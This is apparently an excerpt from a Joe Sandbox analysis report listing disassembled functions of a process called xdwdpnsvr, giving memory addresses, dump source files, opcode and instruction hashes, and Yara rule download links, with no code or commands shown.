                                                                                                                                                                            • Instruction ID: 7027d0a34ba6d1e40c17c4058c4b965d8b95a06af97ed98b38e6d864270fad17
                                                                                                                                                                            • Opcode Fuzzy Hash: 1c36de5852f888df0977559d1dbb36c30103544db9a45938aabfcb274edab24b
                                                                                                                                                                            • Instruction Fuzzy Hash: 6E411E25F3998E8EE794BB3CC4556BD6292EF94341F900478E04ED72E6ED3CB8528741
                                                                                                                                                                            Function 00007FFE6F7CD9FE Relevance: .1, Instructions: 135COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: df352dbfddbad355d173eefed72e351581e93c7be94807800e515f1c3c04e7f7
                                                                                                                                                                            • Instruction ID: af4a418d2be43aa10fff325fa36cb52268d7da85a575886b707f72b32472e38e
                                                                                                                                                                            • Opcode Fuzzy Hash: df352dbfddbad355d173eefed72e351581e93c7be94807800e515f1c3c04e7f7
                                                                                                                                                                            • Instruction Fuzzy Hash: DF41EB559AE3CA0FE307677848252A87FB19F57214B0A05EBD4D9CF0F3E81C588AC362
                                                                                                                                                                            Function 00007FFE6F7C2D1A Relevance: .1, Instructions: 135COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b9b4b6243d9626f0f8f8391d4cc5c266c6664139408c68a53ba2030655691ea9
                                                                                                                                                                            • Instruction ID: d87c0741f5f66a40c1d60db13adeff84ca6a8a27a113cbe67d77a8378c3198fe
                                                                                                                                                                            • Opcode Fuzzy Hash: b9b4b6243d9626f0f8f8391d4cc5c266c6664139408c68a53ba2030655691ea9
                                                                                                                                                                            • Instruction Fuzzy Hash: F8411B25F3998E8EE794BB3CC4556BD6292AF94301F940478E04EE72E6ED2CF8528641
                                                                                                                                                                            Function 00007FFE6F7CAA7D Relevance: .1, Instructions: 127COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 94303ee20c40e432444d51511c6ef03f538bd32249ebf1069a56ec39f043b761
                                                                                                                                                                            • Instruction ID: c0f447faafb0e3aa119582547649022a3408cd88ccb20018b9c35d9a86ee4305
                                                                                                                                                                            • Opcode Fuzzy Hash: 94303ee20c40e432444d51511c6ef03f538bd32249ebf1069a56ec39f043b761
                                                                                                                                                                            • Instruction Fuzzy Hash: 64313030A39D5D8FEB99EB6C84556FCB2D2EF58301B50417AE40ED72A6EE25AC428740
                                                                                                                                                                            Function 00007FFE6F7CD3C0 Relevance: .1, Instructions: 123COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 368e53f92ab06225aaa6049e038efa48604bd2da35dad172239d09bee5904430
                                                                                                                                                                            • Instruction ID: b65de94a3362479db997ba9706f5b819d6692fc01a5eaf0e934aca9a3be5bea7
                                                                                                                                                                            • Opcode Fuzzy Hash: 368e53f92ab06225aaa6049e038efa48604bd2da35dad172239d09bee5904430
                                                                                                                                                                            • Instruction Fuzzy Hash: A531173096EACD8FEB55AB6888155E97BE1FF49310F0401BBD41DC71A2EA28A841C351
                                                                                                                                                                            Function 00007FFE6F7CBFBD Relevance: .1, Instructions: 115COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6bd9fdee5efd8db2571eefdfa46fba9ec029c0d0d8b8e6a835e47606d766d9c9
                                                                                                                                                                            • Instruction ID: 43c35a2b4ea96cad7c85f3aa9deaf2e085dc50310ad81ea4c7e406b9b8b397df
                                                                                                                                                                            • Opcode Fuzzy Hash: 6bd9fdee5efd8db2571eefdfa46fba9ec029c0d0d8b8e6a835e47606d766d9c9
                                                                                                                                                                            • Instruction Fuzzy Hash: 9631FD2982F7CA8FE76797245C261A57F605F52216F1A01FBD488CB0E3EA0D748E8352
                                                                                                                                                                            Function 00007FFE6F7CDE9A Relevance: .1, Instructions: 112COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 54b3cce731c8680fd95a82997ae1e4c3165c673e3a774bc55b77a305e07ab897
                                                                                                                                                                            • Instruction ID: 45e61e57b820db27183abce84fd00c3abcb4f3966c892e58cb655fb9b323c8ca
                                                                                                                                                                            • Opcode Fuzzy Hash: 54b3cce731c8680fd95a82997ae1e4c3165c673e3a774bc55b77a305e07ab897
                                                                                                                                                                            • Instruction Fuzzy Hash: 65314F25F3989D4EF690A368C4953BD62C3BBE8714F558478D09ED72E2ED2CB9428380
                                                                                                                                                                            Function 00007FFE6F7CD289 Relevance: .1, Instructions: 111COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1fdae29ed5e771c6237e4df34a111554d39ee7b3ddc38772326d63d52991ca3c
                                                                                                                                                                            • Instruction ID: 19dcb805fbba4ba283b1774329b9fe1f0112e34fae43ed94fd3a1516f56e7610
                                                                                                                                                                            • Opcode Fuzzy Hash: 1fdae29ed5e771c6237e4df34a111554d39ee7b3ddc38772326d63d52991ca3c
                                                                                                                                                                            • Instruction Fuzzy Hash: 7131F435D6E6CE8FEB12A76898151E97FB1EF16310F0900BBD058C71E3E91CB81A8356
                                                                                                                                                                            Function 00007FFE6F7CC458 Relevance: .1, Instructions: 106COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6e6eff8377228f3316e363d192109ad31d04f9cf4dc75921bbe8463e5f8f4d4d
                                                                                                                                                                            • Instruction ID: 46e45ad87b2df3507e22723e12a3034b71156b56fe7e45b6acfc07084055c0a3
                                                                                                                                                                            • Opcode Fuzzy Hash: 6e6eff8377228f3316e363d192109ad31d04f9cf4dc75921bbe8463e5f8f4d4d
                                                                                                                                                                            • Instruction Fuzzy Hash: 8D310C31A18A5C8FDF94EF68D885BECB7F0FB58311F50416AD44DE3262DA34A985CB41
                                                                                                                                                                            Function 00007FFE6F7C90E1 Relevance: .1, Instructions: 99COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 69ddb6b29e8a483fcc016026480b2ada39138cc4091cc188ef9efedd96584690
                                                                                                                                                                            • Instruction ID: 171a63a26d92ec6393db8ef7d1cc723f056e90ccf8e3741b37a9f891e03a4e37
                                                                                                                                                                            • Opcode Fuzzy Hash: 69ddb6b29e8a483fcc016026480b2ada39138cc4091cc188ef9efedd96584690
                                                                                                                                                                            • Instruction Fuzzy Hash: BA31C835E2D6DD8FEB92D76898495E83FF0EF69314F0900B6D04CD71A6F918A8448352
                                                                                                                                                                            Function 00007FFE6F7CADA7 Relevance: .1, Instructions: 93COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e5865daa838a27f6c00a43ae3914401e16be431b692f45a5ecd257a38833755d
                                                                                                                                                                            • Instruction ID: f9b4b4404ed446e09c7c672c9cecad29762874bf4d3902d870049dff2ea267e4
                                                                                                                                                                            • Opcode Fuzzy Hash: e5865daa838a27f6c00a43ae3914401e16be431b692f45a5ecd257a38833755d
                                                                                                                                                                            • Instruction Fuzzy Hash: 9031EB35E3A55E8FEB94F76898566FC76A1EF58306F500079D409D32B2EE2868418790
                                                                                                                                                                            Function 00007FFE6F7C886D Relevance: .1, Instructions: 90COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e9057a9af14469a4e33a3341ae2863b1dd710bed1343c2a5f149571953743e63
                                                                                                                                                                            • Instruction ID: 912a25f819e36c1f324663b0587641675e286cef8fa0d7651f57686403bcb0ed
                                                                                                                                                                            • Opcode Fuzzy Hash: e9057a9af14469a4e33a3341ae2863b1dd710bed1343c2a5f149571953743e63
                                                                                                                                                                            • Instruction Fuzzy Hash: 20315C19D3F6DE8EE75A933868151A43FA19F56251F4A01FAC488CB4F3F90C78598362
                                                                                                                                                                            Function 00007FFE6F7C8066 Relevance: .1, Instructions: 83COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bc83d2d04879309a9c6b9f2b4fbc7ec0771e66dc188900dde4743a8260720a9f
                                                                                                                                                                            • Instruction ID: 79d1febf3a74192f7e2acf4e04d69d796847f498c85f7e040e2dd496f690ff60
                                                                                                                                                                            • Opcode Fuzzy Hash: bc83d2d04879309a9c6b9f2b4fbc7ec0771e66dc188900dde4743a8260720a9f
                                                                                                                                                                            • Instruction Fuzzy Hash: D2312A30518B8C8FEB64DF28C8457D97BE1FB98710F10826EE84DC7265CB74A945CB81
                                                                                                                                                                            Function 00007FFE6F7C258D Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 4058f21fc71eaa3b5551f3851e97223825ac8202b15254f2358421f6ecf03a45
                                                                                                                                                                            • Instruction ID: 3a097ea4d69549a6023d27041a2ed725175069c085a72b85a29a5c1a442d6c11
                                                                                                                                                                            • Opcode Fuzzy Hash: 4058f21fc71eaa3b5551f3851e97223825ac8202b15254f2358421f6ecf03a45
                                                                                                                                                                            • Instruction Fuzzy Hash: 3821912592E7CE4FE352673448255A93FA2AF47340F1904FAD089D71E3E92DA815C321
                                                                                                                                                                            Function 00007FFE6F7CACED Relevance: .1, Instructions: 69COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8aba48e4974cf7169c819b35f929b694aab325f9e96f11f7b5d94f94ae5945fb
                                                                                                                                                                            • Instruction ID: 43f716b60b41060b21d41dd1c89b01232be550ce691d6b528e9a0b5ff5275bd8
                                                                                                                                                                            • Opcode Fuzzy Hash: 8aba48e4974cf7169c819b35f929b694aab325f9e96f11f7b5d94f94ae5945fb
                                                                                                                                                                            • Instruction Fuzzy Hash: 48110334A39D5D8FE794FB2C945A2FCB6E1EF5C702B540579E40ED32A6ED28AC428740
                                                                                                                                                                            Function 00007FFE6F7C88DD Relevance: .1, Instructions: 66COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 27f453d75dd95e42812f1be9902c9545687a8ba16b85817be55e771b4e9adc32
                                                                                                                                                                            • Instruction ID: be12e0d2f46cf44cdc934086b52afa50a0b77c3fad3a32a772273af8acf9df28
                                                                                                                                                                            • Opcode Fuzzy Hash: 27f453d75dd95e42812f1be9902c9545687a8ba16b85817be55e771b4e9adc32
                                                                                                                                                                            • Instruction Fuzzy Hash: 0021BC4996F7DA4FE707533428255A43FB09F57212B4E01EBD489CB1F3E90C68498363
                                                                                                                                                                            Function 00007FFE6F7CDFC9 Relevance: .1, Instructions: 65COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5e977defedaee95cc2c5fde91a61bdbe4263cad69d2ab69235e4fae844e2c725
                                                                                                                                                                            • Instruction ID: 45b8a3864df6e9298d4b8e2c00a000517c10a1eff373559303e734356f2fdc18
                                                                                                                                                                            • Opcode Fuzzy Hash: 5e977defedaee95cc2c5fde91a61bdbe4263cad69d2ab69235e4fae844e2c725
                                                                                                                                                                            • Instruction Fuzzy Hash: 18119126E3949E4AFB68726C84032FD7191AB64311F690278E85DD32E2FD0C786782D2
                                                                                                                                                                            Function 00007FFE6F7CCB8B Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3a07f178770154ac3abd921f3b6c22d09d2b3cc29d05e9b3881150fc6236636c
                                                                                                                                                                            • Instruction ID: 635ef2523c3a6b1f62f2822bbcdbd71d9863d051191752934ed9cd4d63c7d647
                                                                                                                                                                            • Opcode Fuzzy Hash: 3a07f178770154ac3abd921f3b6c22d09d2b3cc29d05e9b3881150fc6236636c
                                                                                                                                                                            • Instruction Fuzzy Hash: B0018436E7D5BE8EEB58A75DE8921F8B390EB49321F40047AD54FD3091E81A79134245
                                                                                                                                                                            Function 00007FFE6F7C36EA Relevance: .1, Instructions: 61COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c980ea43bc31d55583a2559c26448c2b397c21034e54e311a3aec87ede044e4e
                                                                                                                                                                            • Instruction ID: db487d8cd1cb0ec53b9327c7e4b8a7c9e5e30ecda8307304534ccbb015627b35
                                                                                                                                                                            • Opcode Fuzzy Hash: c980ea43bc31d55583a2559c26448c2b397c21034e54e311a3aec87ede044e4e
                                                                                                                                                                            • Instruction Fuzzy Hash: 51016126F3A96D8EFAD4633850552B976D1DB9D320F450175D84ED72A2ED1D6C824380
                                                                                                                                                                            Function 00007FFE6F7CBF41 Relevance: .1, Instructions: 56COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e15d13ad3ef42f4877e4a3b7dceb2b6b844a52958b24bd52251095330e35abf7
                                                                                                                                                                            • Instruction ID: 5bb8d32400de3cfbe139ce5079e76a339bfbab920fe6eca0c0aba90272768f99
                                                                                                                                                                            • Opcode Fuzzy Hash: e15d13ad3ef42f4877e4a3b7dceb2b6b844a52958b24bd52251095330e35abf7
                                                                                                                                                                            • Instruction Fuzzy Hash: A901D62AD3E99D4EF720036878A90F877D0DF55321F5941B2E80C872E5F81E3C420286
                                                                                                                                                                            Function 00007FFE6F7CDB99 Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 49fe70857cee5563778bbefb1c8191c09161f11af8d8bcf66679d80bd35f4fe7
                                                                                                                                                                            • Instruction ID: 7dddd4549e68dc88f0b10a4f9a4c73a2cc22157f40d00708bd4710251b7135aa
                                                                                                                                                                            • Opcode Fuzzy Hash: 49fe70857cee5563778bbefb1c8191c09161f11af8d8bcf66679d80bd35f4fe7
                                                                                                                                                                            • Instruction Fuzzy Hash: 45018439DBE9AFCDEBA5A75C60605F97382EF84310F440031E95DA31E2FD48F8128294
                                                                                                                                                                            Function 00007FFE6F7C8D80 Relevance: .0, Instructions: 37COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 847a0993c21f3118ff2099e2dcbc344480c43dce6086f1e5a0214948446b2de6
                                                                                                                                                                            • Instruction ID: f6d32a14db3ed164405b391ffc987aaa05d2e96abe82d133c752d15b4de02d9a
                                                                                                                                                                            • Opcode Fuzzy Hash: 847a0993c21f3118ff2099e2dcbc344480c43dce6086f1e5a0214948446b2de6
                                                                                                                                                                            • Instruction Fuzzy Hash: 04F0F611E2F9CE4EF686A72824614F979919F69310F84403ED648861D2FD1C68858353
                                                                                                                                                                            Function 00007FFE6F7C9E58 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 78137f825ade173f71e32bd2a775b1f7ade53045eac14d8a37bd658d999aecf3
                                                                                                                                                                            • Instruction ID: 270a7295916f53299252ca473a338c6f2b1101f12896a35a7640fa1f68b4f981
                                                                                                                                                                            • Opcode Fuzzy Hash: 78137f825ade173f71e32bd2a775b1f7ade53045eac14d8a37bd658d999aecf3
                                                                                                                                                                            • Instruction Fuzzy Hash: EDF0EC2192D5DD4FD761971CD4914D47FF0EF6931070500F6D489C71B2E518AC818342
                                                                                                                                                                            Function 00007FFE6F7C371F Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 975b133d6c18a2d976531a268f057f14f707c5ea8be60979aa88fdca7992991e
                                                                                                                                                                            • Instruction ID: 70d15cf113006ef236a455107b0d46ff2c40e6a631a4f1ab0255dd15e72c4863
                                                                                                                                                                            • Opcode Fuzzy Hash: 975b133d6c18a2d976531a268f057f14f707c5ea8be60979aa88fdca7992991e
                                                                                                                                                                            • Instruction Fuzzy Hash: BBF03026E3952D5EFBA47739A4456F82281DB492B0F540576E80DD72A6FD1D6C820680
                                                                                                                                                                            Function 00007FFE6F7C8DB8 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cc9dc044c8cedb106a7479b36d38db51d0f688d2d4cdfe3af006767e42876144
                                                                                                                                                                            • Instruction ID: 6ac0520a4ac31a7d9d9af8c5c1c194734d33e296ebfb13fab4f88e11a22abf29
                                                                                                                                                                            • Opcode Fuzzy Hash: cc9dc044c8cedb106a7479b36d38db51d0f688d2d4cdfe3af006767e42876144
                                                                                                                                                                            • Instruction Fuzzy Hash: 3CE06D15E3ECDF4EA699632824512F83591EFA8210B980039D909C22D1FD5868454386
                                                                                                                                                                            Function 00007FFE6F7CA131 Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5bc3af05c9febb1fedf051258b8565298b8159fc5cc647d7dd2ff601be126879
                                                                                                                                                                            • Instruction ID: acfe8077bd74f24c406570b1a176fa4ea1b201e4e62be1b8903c69ae59cb88e6
                                                                                                                                                                            • Opcode Fuzzy Hash: 5bc3af05c9febb1fedf051258b8565298b8159fc5cc647d7dd2ff601be126879
                                                                                                                                                                            • Instruction Fuzzy Hash: 88E04F20F3C85E0FAA88A728409A1F8A1C3DB9C75174141B8E41ED32E7DD18EC421244
                                                                                                                                                                            Function 00007FFE6F7C9E08 Relevance: .0, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
